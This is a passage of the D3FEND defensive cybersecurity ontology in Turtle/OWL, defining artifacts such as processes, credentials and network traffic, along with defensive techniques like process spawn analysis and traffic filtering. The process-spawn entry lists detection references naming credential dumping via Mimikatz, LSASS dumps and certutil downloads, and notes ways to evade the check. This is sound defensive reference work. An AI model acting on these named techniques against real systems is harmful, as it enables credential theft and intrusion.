    d3f:definition "In computing, executable code or an executable file or executable program, sometimes simply an executable, causes a computer \"to perform indicated tasks according to encoded instructions,\" as opposed to a data file that must be parsed by a program to be meaningful. These instructions are traditionally machine code instructions for a physical CPU. However, in a more general sense, a file containing instructions (such as bytecode) for a software interpreter may also be considered executable; even a scripting language source file may therefore be considered executable in this sense. The exact interpretation depends upon the use; while the term often refers only to machine code files, in the context of protection against computer viruses all files which cause potentially hazardous instruction" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Executable> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Subroutine ],
        d3f:File ;
    skos:altLabel "Executable" .

d3f:ExecutableScript a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Executable Script" ;
    d3f:definition "An executable script is written in a scripting language and interpreted at run time. This is in contrast with an executable binary, which contains machine code instructions for a physical CPU or byte code for a virtual machine." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Executable> ;
    rdfs:subClassOf d3f:ExecutableFile .

d3f:HardwareDevice a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hardware Device" ;
    d3f:definition "Hardware devices are the physical artifacts that constitute a network or computer system. Hardware devices are the physical parts or components of a computer, such as the monitor, keyboard, computer data storage, hard disk drive (HDD), graphic cards, sound cards, memory (RAM), motherboard, and so on, all of which are tangible physical objects. By contrast, software is instructions that can be stored and run by hardware. Hardware is directed by the software to execute any command or instruction. A combination of hardware and software forms a usable computing system." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Computer_hardware> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/device_hw_info> ;
    rdfs:subClassOf d3f:DigitalInformationBearer,
        d3f:PhysicalArtifact .

d3f:OutboundInternetNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Internet Network Traffic" ;
    d3f:definition "Outbound internet network traffic is network traffic on an outgoing connection initiated from a host within a network to a host outside the network." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:InternetNetworkTraffic,
        d3f:OutboundNetworkTraffic .

d3f:Credential a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential" ;
    d3f:authenticates d3f:UserAccount ;
    d3f:definition "A credential is a physical/tangible object, a piece of knowledge, or a facet of a person's physical being that enables an individual access to a given physical facility or computer-based information system. Typically, credentials can be something a person knows (such as a number or PIN), something they have (such as an access badge), something they are (such as a biometric feature), something they do (measurable behavioral patterns) or some combination of these items. This is known as multi-factor authentication. The typical credential is an access card or key-fob, and newer software can also turn users' smartphones into access devices." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Access_control#Credential> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Access_control> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:DigitalInformationBearer .

d3f:ExecutionTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Execution Technique" ;
    d3f:definition "The adversary is trying to run malicious code." ;
    d3f:enables d3f:TA0002 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0002 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:InternetArticleReference a owl:Class ;
    rdfs:label "Internet Article Reference" ;
    d3f:pref-label "Internet Article" ;
    rdfs:subClassOf d3f:TechniqueReference ;
    skos:altLabel "Internet Blog Reference" .

d3f:ATTACKEnterpriseDataSource a owl:Class ;
    rdfs:label "ATTACK Enterprise Data Source" ;
    rdfs:subClassOf d3f:ATTACKEnterpriseThing .

d3f:CWE-284 a owl:Class ;
    rdfs:label "Improper Access Control" ;
    d3f:cwe-id "CWE-284" ;
    d3f:definition "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor." ;
    d3f:synonym "Authorization" ;
    rdfs:subClassOf d3f:Weakness .

d3f:PrivilegeEscalationTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Privilege Escalation Technique" ;
    d3f:definition "The adversary is trying to gain higher-level permissions." ;
    d3f:enables d3f:TA0004 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0004 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:ATTACKEnterpriseMitigation a owl:Class ;
    rdfs:label "ATTACK Enterprise Mitigation" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:d3fend-comment ;
            owl:someValuesFrom xsd:string ],
        [ a owl:Restriction ;
            owl:onProperty d3f:semantic-relation ;
            owl:someValuesFrom d3f:DefensiveTechnique ],
        d3f:ATTACKEnterpriseThing .

d3f:SystemConfigurationDatabaseRecord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Configuration Database Record" ;
    d3f:definition "A database record holding information used to configure the services, parameters, and initial settings for an operating system." ;
    rdfs:subClassOf d3f:ConfigurationDatabaseRecord,
        d3f:OperatingSystemConfigurationComponent .

d3f:ProcessSpawnAnalysis a d3f:ProcessSpawnAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Spawn Analysis" ;
    d3f:analyzes d3f:CreateProcess,
        d3f:Process ;
    d3f:d3fend-id "D3-PSA" ;
    d3f:definition "Analyzing spawn arguments or attributes of a process to detect processes that are unauthorized." ;
    d3f:kb-article """## How it works
Process attributes are established when an operating system spawns a new process. These attributes are analyzed to look for the presence or absence of specific values or patterns.

Some attributes of interest are:
 - user
 - process name
 - image path
 - security content

## Considerations

 - Attackers can spoof the parent process identifier (PPID), which could bypass this defense to allow execution of a malicious process from an arbitrary parent process.
 - Attackers could have legitimately compromised any of the process properties, such as the user, to make the execution appear legitimate.
 - Location: If the full image path is not checked, there could be a conflict with an executable that appears earlier due to resolution involving the system environment path/classpath variable.
 - Parsing issues: If the raw command from a shell is analyzed, rather than the actual function call, it is important to identify the actual command  being run from its arguments.  In Windows, services with unquoted file paths containing spaces will try to use the first token as the executable and the rest as arguments -- and shift tokens to the executable until a valid one is found.
 - Some [operating systems](/dao/artifact/d3f:OperatingSystem) can spawn processes without forking.""" ;
    d3f:kb-reference d3f:Reference-ActiveDirectoryDumpingViaNTDSUtil_MITRE,
        d3f:Reference-CAR-2020-04-001%3AShadowCopyDeletion_MITRE,
        d3f:Reference-CAR-2020-05-003%3ARareLolBASCommandLines_MITRE,
        d3f:Reference-CAR-2020-08-001%3ANTFSAlternateDataStreamExecution-SystemUtilities_MITRE,
        d3f:Reference-CAR-2020-09-003%3AIndicatorBlocking-DriverUnloaded_MITRE,
        d3f:Reference-CAR-2020-09-004%3ACredentialsInFiles%26Registry_MITRE,
        d3f:Reference-CAR-2020-11-001%3ABootOrLogonInitializationScripts_MITRE,
        d3f:Reference-CAR-2020-11-003%3ADLLInjectionWithMavinject_MITRE,
        d3f:Reference-CAR-2020-11-005%3AClearPowershellConsoleCommandHistory_MITRE,
        d3f:Reference-CAR-2020-11-006%3ALocalPermissionGroupDiscovery_MITRE,
        d3f:Reference-CAR-2020-11-007%3ANetworkShareConnectionRemoval_MITRE,
        d3f:Reference-CAR-2020-11-008%3AMSBuildAndMsxsl_MITRE,
        d3f:Reference-CAR-2020-11-009%3ACompiledHTMLAccess_MITRE,
        d3f:Reference-CAR-2021-01-002%3AUnusuallyLongCommandLineStrings_MITRE,
        d3f:Reference-CAR-2021-01-003%3AClearingWindowsLogsWithWevtutil_MITRE,
        d3f:Reference-CAR-2021-01-004%3AUnusualChildProcessForSpoolsv.ExeOrConnhost.Exe_MITRE,
        d3f:Reference-CAR-2021-01-006%3AUnusualChildProcessSpawnedUsingDDEExploit_MITRE,
        d3f:Reference-CAR-2021-01-007%3ADetectingTamperingOfWindowsDefenderCommandPrompt_MITRE,
        d3f:Reference-CAR-2021-01-008%3ADisableUAC_MITRE,
        d3f:Reference-CAR-2021-01-009%3ADetectingShadowCopyDeletionViaVssadmin.exe_MITRE,
        d3f:Reference-CAR-2021-02-001%3AWebshell-IndicativeProcessTree_MITRE,
        d3f:Reference-CAR-2021-04-001%3ACommonWindowsProcessMasquerading_MITRE,
        d3f:Reference-CAR-2021-05-001%3AAttemptToAddCertificateToUntrustedStore_MITRE,
        d3f:Reference-CAR-2021-05-002%3ABatchFileWriteToSystem32_MITRE,
        d3f:Reference-CAR-2021-05-003%3ABCDEditFailureRecoveryModification_MITRE,
        d3f:Reference-CAR-2021-05-004%3ABITSJobPersistence_MITRE,
        d3f:Reference-CAR-2021-05-005%3ABITSAdminDownloadFile_MITRE,
        d3f:Reference-CAR-2021-05-006%3ACertUtilDownloadWithURLCacheAndSplitArguments_MITRE,
        d3f:Reference-CAR-2021-05-007%3ACertUtilDownloadWithVerifyCtlAndSplitArguments_MITRE,
        d3f:Reference-CAR-2021-05-008%3ACertutilExeCertificateExtraction_MITRE,
        d3f:Reference-CAR-2021-05-009%3ACertUtilWithDecodeArgument_MITRE,
        d3f:Reference-CAR-2021-05-010%3ACreateLocalAdminAccountsUsingNetExe_MITRE,
        d3f:Reference-CommandLineUsageOfArchivingSoftware_MITRE,
        d3f:Reference-CreateRemoteProcessViaWMIC_MITRE_Other,
        d3f:Reference-CredentialDumpingViaMimikatz_MITRE,
        d3f:Reference-HostDiscoveryCommands_MITRE,
        d3f:Reference-LsassProcessDumpViaProcdump_MITRE,
        d3f:Reference-PowershellExecution_MITRE,
        d3f:Reference-RunDLL32.exeMonitoring_MITRE,
        d3f:Reference-Squiblydoo_MITRE,
        d3f:Reference-SuspiciousArguments_MITRE,
        d3f:Reference-SuspiciousRunLocations_MITRE ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Process ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:ProcessAnalysis .

d3f:Subroutine a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Subroutine" ;
    d3f:definition "In different programming languages, a subroutine may be called a procedure, a function, a routine, a method, or a subprogram. The generic term callable unit is sometimes used." ;
    d3f:synonym "Method",
        "Semantic Subroutine",
        "Software Function" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Subroutine> ;
    rdfs:subClassOf d3f:Software .

d3f:creates a owl:ObjectProperty ;
    rdfs:label "creates" ;
    d3f:definition "x creates y: The subject x bring into existence an object y.  Some technique or agent x creates a persistent digital artifact y (as opposed to production of a consumable or transient object.); i.e., bring forth or generate" ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01630392-v> ;
    rdfs:seeAlso d3f:produces ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-create .

d3f:UserAccountPermissions a d3f:UserAccountPermissions,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Account Permissions" ;
    d3f:d3fend-id "D3-UAP" ;
    d3f:definition "Restricting a user account's access to resources." ;
    d3f:kb-reference d3f:Reference-ConfigureUserAccessControlAndPermissions ;
    d3f:restricts d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:AccessPolicyAdministration .

d3f:may-contain a owl:ObjectProperty,
        owl:TransitiveProperty ;
    rdfs:label "may-contain" ;
    d3f:definition "to potentially have as contents or constituent parts; comprise; include." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:UserAccount a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Account" ;
    d3f:definition "A user account allows a user to authenticate to a system and potentially to receive authorization to access resources provided by or connected to that system; however, authentication does not imply authorization. To log into an account, a user is typically required to authenticate oneself with a password or other credentials for the purposes of accounting, security, logging, and resource management." ;
    d3f:identified-by d3f:DigitalIdentity ;
    d3f:used-by d3f:Agent ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/User_(computing)#User_account> ;
    rdfs:seeAlso <http://dbpedia.org/resource/User_account>,
        <https://schema.ocsf.io/objects/user> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identified-by ;
            owl:someValuesFrom d3f:DigitalIdentity ],
        [ a owl:Restriction ;
            owl:onProperty d3f:used-by ;
            owl:someValuesFrom d3f:Agent ],
        d3f:DigitalInformationBearer .

d3f:OutboundTrafficFiltering a d3f:OutboundTrafficFiltering,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Traffic Filtering" ;
    d3f:d3fend-id "D3-OTF" ;
    d3f:definition "Restricting network traffic originating from a private host or enclave destined towards untrusted networks." ;
    d3f:filters d3f:OutboundNetworkTraffic ;
    d3f:kb-article """## How it works

Outbound traffic, in this context, is network traffic originating from a private host or enclave destined towards untrusted networks.
For example:

* An enterprise desktop intranet user connecting to www.example.com
* An internal mail server connecting to an external mail server, mail.example.com

Filtering is commonly implemented as firewall rulesets to limit outbound traffic permitted to egress a host or network. Firewalls are deployed either directly on hosts through kernel level software implementations or installed in-line directly on network links. There are benefits and disadvantages to each approach.

There are various strategies for developing filtering rulesets:

* Block everything by default
* Limit destination hosts
* Limit destination transport or application protocols
* Restrict content outbound (Ex. strings formatted as social security numbers, or proprietary data)

## Considerations
* Dynamic IP assignment creates challenges for Outbound Traffic Filtering because users are not necessarily associated with the same IP address. This can be addressed by linking IP address management information with the filtering logic.
* Connections using non-standard transport layer ports may circumvent outbound traffic filtering technology which does not detect application protocol based on traffic content.
* Business requirements typically drive the development of filtering rule sets.

## Implementations
- iptables (Linux)
- Windows Firewall
- pf (BSD)""" ;
    d3f:kb-reference d3f:Reference-AutomaticallyGeneratingRulesForConnectionSecurity_Microsoft ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:OutboundNetworkTraffic ],
        d3f:NetworkTrafficFiltering .

d3f:NetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Traffic" ;
    d3f:contains d3f:NetworkPacket ;
    d3f:definition "Network traffic or data traffic is the data, or alternatively the amount of data, moving across a network at a given point of time.  Network data in computer networks is mostly encapsulated in network packets, which provide the load in the network." ;
    d3f:may-contain d3f:DomainName,
        d3f:RemoteCommand ;
    d3f:originates-from d3f:PhysicalLocation ;
    rdfs:seeAlso <http://dbpedia.org/resource/Network_traffic>,
        <https://schema.ocsf.io/objects/network_traffic> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:DomainName ],
        [ a owl:Restriction ;
            owl:onProperty d3f:originates-from ;
            owl:someValuesFrom d3f:PhysicalLocation ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:NetworkPacket ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:RemoteCommand ],
        d3f:DigitalInformationBearer ;
    skos:altLabel "Data Traffic" .

d3f:CreateProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Create Process" ;
    d3f:definition "A process spawn refers to a function that loads and executes a new child process.The current process may wait for the child to terminate or may continue to execute asynchronously. Creating a new subprocess requires enough memory in which both the child process and the current program can execute. There is a family of spawn functions in DOS, inherited by Microsoft Windows. There is also a different family of spawn functions in an optional extension of the POSIX standards.  Fork-exec is another technique combining two Unix system calls, which can effect a process spawn.",
        "Creates a process.",
        "Executes a process." ;
    d3f:executes d3f:Process ;
    rdfs:seeAlso <http://dbpedia.org/resource/Fork%E2%80%93exec>,
        <http://dbpedia.org/resource/Spawn_(computing)>,
        <https://dbpedia.org/page/Fork%E2%80%93exec>,
        <https://dbpedia.org/page/Spawn_(computing)>,
        <https://docs.microsoft.com/en-us/windows/win32/procthread/creating-processes>,
        <https://learn.microsoft.com/en-us/windows/win32/procthread/creating-processes> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:Process ],
        d3f:SystemCall ;
    skos:altLabel "Execute Process",
        "Process Spawn",
        "Spawn Process" .

d3f:SystemCall a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Call" ;
    d3f:definition "A system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on. This may include hardware-related services (for example, accessing a hard disk drive), creation and execution of new processes, and communication with integral kernel services such as process scheduling. System calls provide an essential interface between a process and the operating system." ;
    d3f:executes d3f:Subroutine ;
    d3f:synonym "syscall" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/System_call> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:Subroutine ],
        d3f:DigitalInformationBearer .

d3f:Process a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process" ;
    d3f:contains d3f:ProcessImage ;
    d3f:definition "A process is an instance of a computer program that is being executed. It contains the program code and its current activity. Depending on the operating system (OS), a process may be made up of multiple threads of execution that execute instructions concurrently. A computer program is a passive collection of instructions, while a process is the actual execution of those instructions. Several processes may be associated with the same program; for example, opening up several instances of the same program often means more than one process is being executed." ;
    d3f:instructed-by d3f:Software ;
    d3f:may-execute d3f:Thread ;
    d3f:process-image-path d3f:ExecutableBinary ;
    d3f:process-user d3f:UserAccount ;
    d3f:uses d3f:Resource ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Process_(computing)> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/process> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ProcessImage ],
        [ a owl:Restriction ;
            owl:onProperty d3f:process-command-line-arguments ;
            owl:someValuesFrom xsd:string ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-execute ;
            owl:someValuesFrom d3f:Thread ],
        [ a owl:Restriction ;
            owl:onProperty d3f:instructed-by ;
            owl:someValuesFrom d3f:Software ],
        [ a owl:Restriction ;
            owl:onProperty d3f:process-user ;
            owl:someValuesFrom d3f:UserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:Resource ],
        [ a owl:Restriction ;
            owl:onProperty d3f:process-image-path ;
            owl:someValuesFrom d3f:ExecutableBinary ],
        [ a owl:Restriction ;
            owl:onProperty d3f:process-security-context ;
            owl:someValuesFrom xsd:string ],
        [ a owl:Restriction ;
            owl:onProperty d3f:process-identifier ;
            owl:someValuesFrom xsd:integer ],
        [ a owl:Restriction ;
            owl:onProperty d3f:process-environmental-variables ;
            owl:someValuesFrom xsd:string ],
        d3f:DigitalInformationBearer .

d3f:DigitalInformationBearer a owl:Class ;
    rdfs:label "Digital Information Bearer" ;
    d3f:definition "A digital information bearer is a physical or virtual entity that stores, transmits, or processes digital information." ;
    rdfs:subClassOf d3f:DigitalArtifact .

d3f:InboundTrafficFiltering a d3f:InboundTrafficFiltering,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Inbound Traffic Filtering" ;
    d3f:d3fend-id "D3-ITF" ;
    d3f:definition "Restricting network traffic originating from untrusted networks destined towards a private host or enclave." ;
    d3f:filters d3f:InboundNetworkTraffic ;
    d3f:kb-article """## How it works
Inbound Traffic, in this context, is network traffic originating from an untrusted network towards a private host or enclave.
For example:

* An untrusted network host connecting to a internal commercial portal, shopping.example.com
* An external mail server connecting to an internal mail server, mail.example.com

Filtering policies are developed by administrators to meet business requirements and limit connectivity. These policies are implemented on edge devices such as firewalls, routers, and intrusion prevention systems. Examples of filters:

* Blocking incoming traffic from spoofed internally facing IP addresses
* Blocking specific ports and services from establishing connections
* Limiting specific IP ranges from connecting to the network
* Dynamic inbound filtering (Hole punching, STUN, NAT-T)

## Considerations
* Business requirements typically drive the development of filtering rulesets
* Protocols using non-standard ports may circumvent filtering technology, which does not detect application protocol based on traffic content

## Implementations
* OpenWRT (Embedded)
* Netfilter (Linux)
* Windows Firewall
* pf(BSD)""" ;
    d3f:kb-reference d3f:Reference-ActiveFirewallSystemAndMethodology_McAfeeLLC,
        d3f:Reference-AutomaticallyGeneratingRulesForConnectionSecurity_Microsoft,
        d3f:Reference-FWTK-FirewallToolkit_,
        d3f:Reference-FirewallForInterentAccess_SecureComputingLLC,
        d3f:Reference-FirewallForProcessingAConnectionlessNetworkPacket_NationalSecurityAgency,
        d3f:Reference-FirewallForProcessingConnection-orientedAndConnectionlessDatagramsOverAConnection-orientedNetwork_NationalSecurityAgency,
        d3f:Reference-FirewallsThatFilterBasedUponProtocolCommands_IntelCorp,
        d3f:Reference-MethodForControllingComputerNetworkSecurity_CheckpointSoftwareTechnologiesLtd,
        d3f:Reference-NetworkFirewallWithProxy_SecureComputingLLC ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:InboundNetworkTraffic ],
        d3f:NetworkTrafficFiltering .

d3f:may-modify a owl:ObjectProperty ;
    rdfs:label "may-modify" ;
    d3f:definition "x may-modify y: They entity x may modify the thing y; that is, 'x modifies y' may be true." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:analyzes a owl:ObjectProperty ;
    rdfs:label "analyzes" ;
    d3f:definition "x analyzes y: The subject x break down object y into components or essential features, assessing y by quantitative methods, qualitative methods, or both.  Usually the analysis is done in terms of some model or framework." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00738221-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:detects .

d3f:PersistenceTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Persistence Technique" ;
    d3f:definition "The adversary is trying to maintain their foothold." ;
    d3f:enables d3f:TA0003 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0003 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:produces a owl:ObjectProperty ;
    rdfs:label "produces" ;
    d3f:definition "x produces y: The subject entity x or process produces a data object y, which may be discrete digital object or a stream (e.g., a stream such as network traffic.)" ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01625832-v> ;
    rdfs:seeAlso d3f:creates ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-produce ;
    skos:altLabel "outputs" .

d3f:accesses a owl:ObjectProperty ;
    rdfs:label "accesses" ;
    d3f:definition "x accesses y: An subject x takes the action of reading from, writing into, or executing the stored information in the object y. Reads, writes, and executes are specific cases of accesses." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02673854-n> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-access .

d3f:DefenseEvasionTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Defense Evasion Technique" ;
    d3f:definition "The adversary is trying to avoid being detected." ;
    d3f:enables d3f:TA0005 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0005 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:invokes a owl:ObjectProperty ;
    rdfs:label "invokes" ;
    d3f:definition "x invokes y: The subject x invokes a system service y by use of an instruction object y that interrupts the program being executed and passes control to the operating system to perform that operation." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/06599393-n> ;
    rdfs:seeAlso <http://dbpedia.org/resource/System_call> ;
    rdfs:subPropertyOf d3f:executes,
        d3f:may-invoke ;
    skos:altLabel "calls" .

d3f:contains a owl:ObjectProperty,
        owl:TransitiveProperty ;
    rdfs:label "contains" ;
    d3f:definition "x contains y: A core relation that holds between a whole x and its part y.  Equivalent to relational concept 'has part' and thus transitive." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02639021-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-contain .

d3f:ExternalKnowledgeBase a owl:Class ;
    rdfs:label "External Knowledge Base" ;
    d3f:pref-label "External Knowledge Base" ;
    rdfs:subClassOf d3f:TechniqueReference .

d3f:enables a owl:ObjectProperty ;
    rdfs:label "enables" ;
    d3f:definition "x enables y: A top level technique x enables a tactic y, that is, the property indicates that a technique x is used to put a particular tactic y into action. In other words, x renders y capable or able for some task." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00513958-v> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:associated-with a owl:ObjectProperty ;
    rdfs:label "associated-with" ;
    d3f:definition "x associated-with y: The subject x and object y are associated in some way.  This is the most general definite relationship in d3fend (i.e., most general relationship that is not prefixed by 'may-'.)" ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/13804981-n> ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:File a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File" ;
    d3f:contains d3f:FileSection ;
    d3f:definition "A file maintained in computer-readable form." ;
    d3f:may-contain d3f:File,
        d3f:URL ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/06521201-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:FileSection ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:URL ],
        d3f:Resource .

d3f:preceded-by a owl:ObjectProperty ;
    rdfs:label "preceded-by" ;
    d3f:definition "x preceded-by y: The event or action x occurs after event or action y in time." ;
    rdfs:isDefinedBy <http://purl.obolibrary.org/obo/BFO_0000062> ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:precedes .

d3f:NISTControl a owl:Class ;
    rdfs:label "NIST Control" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:member-of ;
            owl:someValuesFrom d3f:NISTSP800-53ControlCatalog ],
        d3f:ExternalControl .

d3f:OffensiveTactic a owl:Class ;
    rdfs:label "Offensive Tactic" ;
    d3f:definition "Per ATT&CK, these are defined as Tactical Goals, not Tactics per se. Many children also fit definition of tactics.  Some are neither tactics or tactical goals really (e.g., Execution, which is a useful grouping, but an action, not really a tactic or technique." ;
    d3f:synonym "Tactical Objective" ;
    rdfs:isDefinedBy <https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enabled-by ;
            owl:someValuesFrom d3f:OffensiveTechnique ],
        d3f:Goal .

d3f:NIST_SP_800-53_R5 a d3f:NISTSP800-53ControlCatalog,
        owl:NamedIndividual ;
    rdfs:label "NIST SP 800-53 R5" ;
    d3f:archived-at "https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final"^^xsd:anyURI ;
    d3f:has-member d3f:NIST_SP_800-53_R5_AC-17_8,
        d3f:NIST_SP_800-53_R5_AC-23,
        d3f:NIST_SP_800-53_R5_AC-24,
        d3f:NIST_SP_800-53_R5_AC-24_1,
        d3f:NIST_SP_800-53_R5_AC-24_2,
        d3f:NIST_SP_800-53_R5_AC-2_1,
        d3f:NIST_SP_800-53_R5_AC-2_13,
        d3f:NIST_SP_800-53_R5_AC-2_2,
        d3f:NIST_SP_800-53_R5_AC-2_3,
        d3f:NIST_SP_800-53_R5_AC-2_4,
        d3f:NIST_SP_800-53_R5_AC-2_5,
        d3f:NIST_SP_800-53_R5_AC-2_6,
        d3f:NIST_SP_800-53_R5_AC-2_7,
        d3f:NIST_SP_800-53_R5_AC-2_9,
        d3f:NIST_SP_800-53_R5_AC-3,
        d3f:NIST_SP_800-53_R5_AC-3_11,
        d3f:NIST_SP_800-53_R5_AC-3_13,
        d3f:NIST_SP_800-53_R5_AC-3_3,
        d3f:NIST_SP_800-53_R5_AC-3_7,
        d3f:NIST_SP_800-53_R5_AC-3_8,
        d3f:NIST_SP_800-53_R5_AC-4,
        d3f:NIST_SP_800-53_R5_AC-4_1,
        d3f:NIST_SP_800-53_R5_AC-4_10,
        d3f:NIST_SP_800-53_R5_AC-4_11,
        d3f:NIST_SP_800-53_R5_AC-4_12,
        d3f:NIST_SP_800-53_R5_AC-4_13,
        d3f:NIST_SP_800-53_R5_AC-4_14,
        d3f:NIST_SP_800-53_R5_AC-4_15,
        d3f:NIST_SP_800-53_R5_AC-4_17,
        d3f:NIST_SP_800-53_R5_AC-4_19,
        d3f:NIST_SP_800-53_R5_AC-4_20,
        d3f:NIST_SP_800-53_R5_AC-4_21,
        d3f:NIST_SP_800-53_R5_AC-4_26,
        d3f:NIST_SP_800-53_R5_AC-4_27,
        d3f:NIST_SP_800-53_R5_AC-4_28,
        d3f:NIST_SP_800-53_R5_AC-4_29,
        d3f:NIST_SP_800-53_R5_AC-4_3,
        d3f:NIST_SP_800-53_R5_AC-4_30,
        d3f:NIST_SP_800-53_R5_AC-4_32,
        d3f:NIST_SP_800-53_R5_AC-4_4,
        d3f:NIST_SP_800-53_R5_AC-4_5,
        d3f:NIST_SP_800-53_R5_AC-4_6,
        d3f:NIST_SP_800-53_R5_AC-4_8,
        d3f:NIST_SP_800-53_R5_AC-5,
        d3f:NIST_SP_800-53_R5_AC-6,
        d3f:NIST_SP_800-53_R5_AC-6_1,
        d3f:NIST_SP_800-53_R5_AC-6_10,
        d3f:NIST_SP_800-53_R5_AC-6_3,
        d3f:NIST_SP_800-53_R5_AC-6_4,
        d3f:NIST_SP_800-53_R5_AC-6_5,
        d3f:NIST_SP_800-53_R5_AC-6_6,
        d3f:NIST_SP_800-53_R5_AC-6_9,
        d3f:NIST_SP_800-53_R5_AC-7,
        d3f:NIST_SP_800-53_R5_AC-7_3,
        d3f:NIST_SP_800-53_R5_AC-7_4,
